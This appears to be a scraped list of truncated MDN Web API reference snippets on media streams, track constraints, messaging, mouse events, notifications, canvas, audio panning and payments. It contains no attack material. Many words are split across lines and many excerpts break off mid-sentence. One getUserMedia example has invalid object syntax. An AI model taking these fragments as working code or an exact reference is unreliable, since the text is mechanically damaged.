their sourcebuffer.updating property is true.) example the following snippet is based on a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); mediasource.duration = 120; ...
...
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaSource.sourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (
view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.sourcebuffers); // will contain the source ...
...buffer that was added above
video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; ...
MediaStream.getAudioTracks() - Web APIs
example this example gets a webcam's audio and
video in a stream using getusermedia(), attaches the stream to a <
video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
... na
vigator.mediade
vices.getusermedia({audio: true,
video: true}) .then(mediastream => { document.queryselector('
video').srcobject = mediastream; // stop the audio stream after 5 seconds settimeout(() => { const tracks = mediastream.getaudiotracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'getaudiotracks()' in that specification.
MediaStream.onaddtrack - Web APIs
syntax mediastream.onaddtrack = eventhandler; value this should be set to a function which you pro
vide that accepts as input a mediastreamtrackevent object representing the addtrack event which has occurred.
... example this example adds a listener which, when a new track is added to the stream, appends a new item to a list of tracks; the new item shows the track's kind ("audio" or "
video") and label.
MediaStreamAudioSourceNode.mediaStream - Web APIs
the mediastreamaudiosourcenode interface's read-only mediastream property indicates the mediastream that contains the audio track from which the node is recei
ving audio.
... syntax audiosourcestream = mediastreamaudiosourcenode.mediastream; value a mediastream representing the stream which contains the mediastreamtrack ser
ving as the source of audio for the node.
MediaStreamTrack.kind - Web APIs
the mediastreamtrack.kind read-only property returns a domstring set to "audio" if the track is an audio track and to "
video", if it is a
video track.
... "
video": the track is a
video track.
MediaStreamTrack.muted - Web APIs
the muted read-only property of the mediastreamtrack interface returns a boolean value indicating whether or not the track is currently unable to pro
vide media output.
...when a track is disabled by setting enabled to false, it generates only empty frames (audio frames in which every sample is 0, or
video frames in which every pixel is black).
MediaStreamTrackAudioSourceNode() - Web APIs
example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track pro
vided by the de
vice.
... let audioctx = new (window.audiocontext || window.webkitaudiocontext)(); if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( { audio: true,
video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track pro
vided by the de
vice.
... let audioctx = new (window.audiocontext || window.webkitaudiocontext)(); if (na
vigator.mediade
vices.getusermedia) { na
vigator.mediade
vices.getusermedia ( { audio: true,
video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaTrackConstraints.autoGainControl - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediade
vices.getsupportedconstraints().
... automatic gain control is typically a feature pro
vided by microphones, although it can be pro
vided by other input sources as well.
MediaTrackConstraints.channelCount - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to pro
vide an exact match to the required channel count (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackConstraints.height - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to pro
vide an exact match to the required height (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackConstraints.noiseSuppression - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediade
vices.getsupportedconstraints().
... noise suppression is typically pro
vided by microphones, although it can be pro
vided by other input sources as well.
MediaTrackConstraints.sampleRate - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to pro
vide an exact match to the required sample rate (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackControls.volume - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constraindouble will guide the user agent in its efforts to pro
vide an exact match to the required volume (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackConstraints.width - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediade
vices.getsupportedconstraints().
...otherwise, the value of this constrainlong will guide the user agent in its efforts to pro
vide an exact match to the required width (if exact is specified or both min and max are pro
vided and have the same value) or to a best-possible value.
MediaTrackSettings.channelCount - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.channelcount property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.frameRate - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.framerate property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.latency - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.latency property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.sampleRate - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.samplerate property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediade
vices.getsupportedconstraints().
MediaTrackSettings.sampleSize - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.samplesize property you pro
vided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediade
vices.getsupportedconstraints().
MerchantValidationEvent.validationURL - Web APIs
the merchantvalidationevent property validationurl is a read-only string value pro
viding the url from which to fetch the payment handler-specific data needed to validate the merchant.
... syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring gi
ving the url from which to load payment handler specific data needed to complete the merchant verification process.
MerchantValidationEvent - Web APIs
properties merchantvalidationevent.methodname secure context a domstring pro
viding a unique payment method identifier for the payment handler that's requiring validation.
...once this data is retrieved, the data (or a promise resol
ving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant.
MessageChannel() - Web APIs
specifications specification status comment html li
ving standardthe definition of 'messagechannel()' in that specification.
... li
ving standard ...
MessageChannel.port1 - Web APIs
eryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html li
ving standardthe definition of 'port1' in that specification.
... li
ving standard ...
MessageChannel.port2 - Web APIs
specifications specification status comment html li
ving standardthe definition of 'port2' in that specification.
... li
ving standard ...
MessageEvent.data - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html li
ving standardthe definition of 'messageevent: data' in that specification.
... li
ving standard ...
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html li
ving standardthe definition of 'messageevent: lasteventid' in that specification.
... li
ving standard ...
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html li
ving standardthe definition of 'messageevent: origin' in that specification.
... li
ving standard ...
MessageEvent.ports - Web APIs
} specifications specification status comment html li
ving standardthe definition of 'ports' in that specification.
... li
ving standard initial definition ...
MessagePort.close() - Web APIs
channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html li
ving standardthe definition of 'close()' in that specification.
... li
ving standard ...
MessagePort.onmessage - Web APIs
specifications specification status comment html li
ving standardthe definition of 'onmessage' in that specification.
... li
ving standard ...
MessagePort.onmessageerror - Web APIs
}; specifications specification status comment html li
ving standardthe definition of 'onmessageerror' in that specification.
... li
ving standard ...
MessagePort.start() - Web APIs
ng eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html li
ving standardthe definition of 'start()' in that specification.
... li
ving standard ...
Microsoft API extensions - Web APIs
touch apis element.mszoomto() mscontentzoom msmanipulationevent msmanipulationstatechanged msmanipulation
viewsenabled mspointerhover media apis html
videoelement.msframestep() html
videoelement.mshorizontalmirror html
videoelement.msinsert
videoeffect() html
videoelement.msislayoutoptimalforplayback html
videoelement.msisstereo3d html
videoelement.mszoom htmlaudioelement.msaudiocategory htmlaudioelement.msaudiode
vicetype htmlmediaelement.mscleareffects() htmlmediaelement.msinsertaudioeffect...
...() mediaerror.msextendedcode msgraphicstrust msgraphicstruststatus msisboxed msplaytodisabled msplaytopreferredsourceuri msplaytoprimary msplaytosource msrealtime mssetmediaprotectionmanager msset
videorectangle msstereo3dpackingmode msstereo3drendermode onms
videoformatchanged onms
videoframestepcompleted onms
videooptimallayoutchanged msfirstpaint pinned sites apis mssitemodeevent mssitemodejumplistitemremoved msthumbnailclick other apis x-ms-aria-flowfrom x-ms-acceleratorkey x-ms-format-detection mscaching mscachingenabled mscapslockwarningoff event.msconverturl() mselementresize document.mselementsfromrect() msisstatichtml na
vigator.mslaunchuri() mslaunchuricallback element.msmatchesselector() msprotocols msputpropertyenabled mswriteprofilerm...
MouseEvent() - Web APIs
mouseeventinit optional is a mouseeventinit dictionary, ha
ving the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting this value doesn't move the mouse pointer.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'mouseevent' in that specification.
MouseEvent.button - Web APIs
users may change the configuration of buttons on their pointing de
vice so that if an event's button property is zero, it may not have been caused by the button that is physically left–most on the pointing de
vice; however, it should behave as if the left button was clicked in the standard button layout.
...some pointing de
vices only have one button and use keyboard or other input mechanisms to indicate main, secondary, auxilary, etc.
MouseEvent.movementX - Web APIs
the movementx read-only property of the mouseevent interface pro
vides the difference in the x coordinate of the mouse pointer between the given event and the pre
vious mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementx = currentevent.screenx - pre
viousevent.screenx.
MouseEvent.movementY - Web APIs
the movementy read-only property of the mouseevent interface pro
vides the difference in the y coordinate of the mouse pointer between the given event and the pre
vious mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementy = currentevent.screeny - pre
viousevent.screeny.
MouseEvent.offsetX - Web APIs
the offsetx read-only property of the mouseevent interface pro
vides the offset in the x coordinate of the mouse pointer between that event and the padding edge of the target node.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'mouseevent' in that specification.
MouseEvent.offsetY - Web APIs
the offsety read-only property of the mouseevent interface pro
vides the offset in the y coordinate of the mouse pointer between that event and the padding edge of the target node.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'mouseevent' in that specification.
MouseEvent.pageY - Web APIs
the cssom
view module redefined it as a double float.
... examples var pagey = event.pagey; specifications specification status comment css object model (cssom)
view modulethe definition of 'pagey' in that specification.
MouseEvent.screenX - Web APIs
the screenx read-only property of the mouseevent interface pro
vides the horizontal coordinate (offset) of the mouse pointer in global (screen) coordinates.
... roomy elements, you can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) doredbutton(); } specifications specification status comment css object model (cssom)
view modulethe definition of 'screenx' in that specification.
MouseEvent.screenY - Web APIs
the screeny read-only property of the mouseevent interface pro
vides the vertical coordinate (offset) of the mouse pointer in global (screen) coordinates.
...ts position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom)
view modulethe definition of 'screeny' in that specification.
MouseScrollEvent - Web APIs
the mousescrollevent interface represents events that occur due to the user mo
ving a mouse wheel or similar input de
vice.
... method over
view void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstract
view
viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type description axis read only long indicates scroll direction.
msFirstPaint - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... var otiming = window.performance.timing; var itimems = otiming.msfirstpaint - otiming.na
vigationstart; ...
msRealTime - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or
video playback, as this can affects playback startup latency of audio and
video playback.
MutationEvent - Web APIs
the mutationevent interface pro
vides event properties that are specific to modifications to the document object model (dom) hierarchy and nodes.
...moreover, remo
ving the listeners does not reverse the damage.
MutationObserverInit.attributeFilter - Web APIs
note the use of mutationrecord.oldvalue to get the pre
vious value of the "username" property so we have that information when doing lookups in our local array of users.
... li
ving standard ...
MutationObserverInit.attributeOldValue - Web APIs
when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's pre
vious value.
... li
ving standard ...
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the pre
vious value of text nodes which changed.
... li
ving standard ...
NDEFReader.onreading - Web APIs
the onreading property of ndefreader interface of the web nfc api is called whenever a new reading is available from compatible nfc de
vices, e.g.
... nfc tags supporting ndef, when these de
vices are within the reader's magnetic induction field.
NDEFReader - Web APIs
the ndefreader interface of the web nfc api is an abstract interface used to read data from compatible nfc de
vices, e.g.
... nfc tags supporting ndef, when these de
vices are within the reader's magnetic induction field.
NDEFWriter - Web APIs
the ndefwriter interface of the web nfc api is an abstract interface used to write data to compatible nfc de
vices, e.g.
... nfc tags supporting ndef, when these de
vices are within the reader's magnetic induction field.
NameList - Web APIs
note: although this interface was pre
viously implemented in gecko, there was no way to actually create one.
... namelist has been removed, effective with gecko 10.0 the namelist interface pro
vides an abstraction for an ordered collection of name and namespace value pairs.
NetworkInformation.onchange - Web APIs
var type = na
vigator.connection.type; function changehandler(e) { // handle change of connection type here.
... } // register for event changes: na
vigator.connection.onchange = changehandler; // another way: na
vigator.connection.addeventlistener('change', changehandler); specifications specification status comment network information apithe definition of 'onchange' in that specification.
Node.baseURI - Web APIs
details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html li
ving standard for details.
... li
ving standard ...
Node.baseURIObject - Web APIs
this property exists on all nodes (html, xul, svg, mathml, etc.), but only if the script trying to use it has universalxpconnect pri
vileges.
...in addition, this property may only be accessed from pri
vileged code.
Node.childNodes - Web APIs
adding or remo
ving children will change the list's `length` } } remove all children from a node // this is one way to remove all children from a node // box is an object reference to an element while (box.firstchild) { //the list is live so it will re-index each call box.removechild(box.firstchild); } notes the items in the collection of nodes are objects, not strings.
... li
ving standard no change document object model (dom) level 3 core specificationthe definition of 'node.childnodes' in that specification.
Node.nextSibling - Web APIs
therefore a node obtained, for example, using node.firstchild or node.pre
vioussibling may refer to a whitespace text node rather than the actual element the author intended to get.
... li
ving standard no change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification.
Node.nodePrincipal - Web APIs
note: this property exists on all nodes (html, svg, mathml, xul, etc.), but only if the script trying to use it has chrome pri
vileges.
...in addition, this property may only be accessed from pri
vileged code.
Node.setUserData() - Web APIs
note that such data will not be preserved when imported
via node.importnode, as with node.clonenode() and node.renamenode() operations (though node.adoptnode does preserve the information), and equality tests in node.isequalnode() do not consider user data in making the assessment.
...if null, any pre
viously registered object and userdatahandler associated to userkey on this node will be removed.
Notification.actions - Web APIs
note: de
vice and user agent might be able to display only a limited number of actions (due to, e.g., limited screen space).
... li
ving standard li
ving standard ...
Notification.dir - Web APIs
possible values are: auto: adopts the browser's language setting beha
viour (the default.) ltr: left to right.
... li
ving standard li
ving standard ...
Notification.icon - Web APIs
examples in our to-do list app (
view the app running live), we use the notification() constructor to fire a notification, passing it arguments to specify the body, icon and title we want.
... li
ving standard li
ving standard ...
Notification.requestPermission() - Web APIs
}); pre
viously, the syntax was based on a simple callback; this version is now deprecated: notification.requestpermission(callback); parameters callback optional deprecated since gecko 46 an optional callback function that is called with the permission value.
... specifications specification status comment notifications api li
ving standard li
ving standard ...
Notification.silent - Web APIs
the silent read-only property of the notification interface specifies whether the notification should be silent, i.e., no sounds or
vibrations should be issued, regardless of the de
vice settings.
... li
ving standard li
ving standard ...
NotificationEvent.action - Web APIs
the notification id is set during the creation of the notification
via the actions array attribute and can't be modified unless the notification is replaced.
... li
ving standard li
ving standard.
NotificationEvent.notification - Web APIs
the notification pro
vides read-only access to many properties that were set at the instantiation time of the notification such as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... li
ving standard li
ving standard.
OES_vertex_array_object - Web APIs
the oes_vertex_array_object extension is part of the webgl api and pro
vides vertex array objects (vaos) which encapsulate vertex array states.
... these objects keep pointers to vertex data and pro
vide names for different sets of vertex data.
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetofflineaudiocompletionevent() constructorchrome full support 57notes full support 57notes notes before chrome 59, the default values were not supported.edge full support ≤79fire...
... web
view android full support 57notes full support 57notes notes before version 59, the default values were not supported.chrome android full support 57notes full support 57notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42...
OfflineAudioCompletionEvent.renderedBuffer - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrenderedbufferchrome full support 14edge full support 12firefox full support 25ie no support noopera full support ...
... 15safari full support 6web
view android full support yeschrome android full support 18firefox android full support 26opera android full support 14safari ios full support yessamsung internet android full support 1.0legend full support full support no support no support ...
OfflineAudioContext.OfflineAudioContext() - Web APIs
the offlineaudiocontext() constructor—part of the web audio api—creates and returns a new offlineaudiocontext object instance, which can then be used to render audio to an audiobuffer rather than to an audio output de
vice.
...either way, the indi
vidual parameters are the same.
OffscreenCanvas() - Web APIs
let offscreen = new offscreencanvas(256, 256); let gl = offscreen.getcontext('webgl'); specifications specification status comment html li
ving standardthe definition of 'offscreencanvas()' in that specification.
... li
ving standard ...
OffscreenCanvas.convertToBlob() - Web APIs
offscreen.converttoblob().then(function(blob) { console.log(blob); }); // blob { size: 334, type: "image/png" } specifications specification status comment html li
ving standardthe definition of 'offscreencanvas: converttoblob' in that specification.
... li
ving standard ...
OffscreenCanvas.height - Web APIs
syntax var pxl = offscreen.height; offscreen.height = pxl; examples creating a new offscreen canvas and returning or setting the height of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.height; // 256 offscreen.height = 512; specifications specification status comment html li
ving standardthe definition of 'offscreencanvas.height' in that specification.
... li
ving standard ...
OffscreenCanvas.transferToImageBitmap() - Web APIs
offscreen.transfertoimagebitmap(); // imagebitmap { width: 256, height: 256 } specifications specification status comment html li
ving standardthe definition of 'offscreencanvas.transfertoimagebitmap()' in that specification.
... li
ving standard ...
OffscreenCanvas.width - Web APIs
syntax var pxl = offscreen.width; offscreen.width = pxl; examples creating a new offscreen canvas and returning or setting the width of the offscreen canvas: var offscreen = new offscreencanvas(256, 256); offscreen.width; // 256 offscreen.width = 512; specifications specification status comment html li
ving standardthe definition of 'offscreencanvas.width' in that specification.
... li
ving standard ...
OrientationSensor.quaternion - Web APIs
the quaternion read-only property of the orientationsensor interface returns a four element array whose elements contain the components of the unit quaternion representing the de
vice's orientation.
... value a array whose values are the x, y, z, and w components of the quaternion representing the de
vice orientation.
OscillatorNode.type - Web APIs
you never set type to custom manually; instead, use the setperiodicwave() method to pro
vide the data representing the waveform.
...for an applied example, check out our
violent theremin demo (see app.js for relevant code).
OscillatorNode - Web APIs
its basic property defaults (see audionode for definitions) are: number of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a new instance of an oscillatornode object, optionally pro
viding an object specifying default values for the node's properties.
...for an applied example, check out our
violent theremin demo (see app.js for relevant code).
PageTransitionEvent.persisted - Web APIs
specifications specification status comment html li
ving standardthe definition of 'pagetransitionevent: persisted' in that specification.
... li
ving standard initial definition ...
PaintWorklet - Web APIs
properties paintworklet.de
vicepixelratio returns the current de
vice's ratio of physical pixels to logical pixels.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> use a paintworklet this example shows how to use a paintworklet in a stylesheet, including the simplest way to pro
vide a fallback if paintworklet isn't supported.
PannerNode.coneInnerAngle - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
PannerNode.coneOuterAngle - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
PannerNode.coneOuterGain - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
PannerNode.orientationX - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
PannerNode.orientationY - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
PannerNode.orientationZ - Web APIs
to help us
visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...ines the volume of the sound outside of both inner and outer cone // setting it to 0 means there is no sound, so we can clearly hear when we leave the cone // 0 is also the default panner.coneoutergain = 0; // increase the z position to ensure the cone has an effect // (otherwise the sound is located at the same position as the listener) panner.positionz.setvalueattime(1, context.currenttime); ha
ving set up the pannernode, we can now schedule some updates to its y-axis rotation: // calculate the vector for no rotation // this means the sound will play at full volume const [x1, y1, z1] = yrotationtovector(0); // schedule the no-rotation vector immediately panner.orientationx.setvalueattime(x1, context.currenttime); panner.orientationy.setvalueattime(y1, context.currenttime); panner.orientat...
ParentNode.children - Web APIs
you can access the indi
vidual child nodes in the collection by using either the item() method on the collection, or by using javascript array-style notation.
... li
ving standard initial definition.
ParentNode.querySelectorAll() - Web APIs
the :scope pseudo-class restores the expected beha
vior, only matching selectors on descendants of the base element: var select = document.queryselector('.select'); var inner = select.queryselectorall(':scope .outer .inner'); inner.length; // 0 specifications specification status comment domthe definition of 'parentnode.queryselectorall()' in that specification.
... li
ving standard li
ving standard selectors api level 2the definition of 'parentnode.queryselectorall()' in that specification.
PasswordCredential.additionalData - Web APIs
//the options object was pre
viously created.
... na
vigator.credentials.get(options).then(function(creds) { if (creds.type == 'password') { var form = new formdata(); var csrf_token = document.queryselector('csrf_token').value; form.append('csrf_token', csrf_token); creds.additionaldata = form; fetch('https://www.example.com', { method: 'post', credentials: creds }); }; }); specifications specification status comment credential management level 1 working draft initial definition.
Path2D() - Web APIs
<canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let p = new path2d('m10 10 h 80 v 80 h -80 z'); ctx.fill(p); specification specification status comment html li
ving standardthe definition of 'path2d()' in that specification.
... li
ving standard initial definition.
Path2D.addPath() - Web APIs
5); // create transformation matrix that moves 200 points to the right let m = document.createelementns('http://www.w3.org/2000/svg', 'svg').createsvgmatrix(); m.a = 1; m.b = 0; m.c = 0; m.d = 1; m.e = 200; m.f = 0; // add second path to the first path p1.addpath(p2, m); // draw the first path ctx.fill(p1); result specifications specification status comment html li
ving standardthe definition of 'path2d.addpath()' in that specification.
... li
ving standard initial defintion.
PaymentAddress.regionCode - Web APIs
the code is derived from the iso 3166-2 standard, which defines codes for identifying the subdi
visions (e.g., states, pro
vinces, autonomous regions, etc.) of all countries in the world.
...the string is empty if the region code couldn't be determined, isn't needed for the address's country, or was not pro
vided.
PaymentCurrencyAmount - Web APIs
this is used to specify the prices of both line items on a payment, using paymentitem objects, and to pro
vide the cost of a shipping option, using paymentshippingoption.
... currencysystem optional a string describing the standard or specification as well as the currency system identifier within that system which was used to pro
vide the value.
PaymentDetailsUpdate.error - Web APIs
the paymentdetailsupdate dictionary's error property is a human-readable domstring which pro
vides an error message to be displayed if the specified information doesn't offer any valid shipping options.
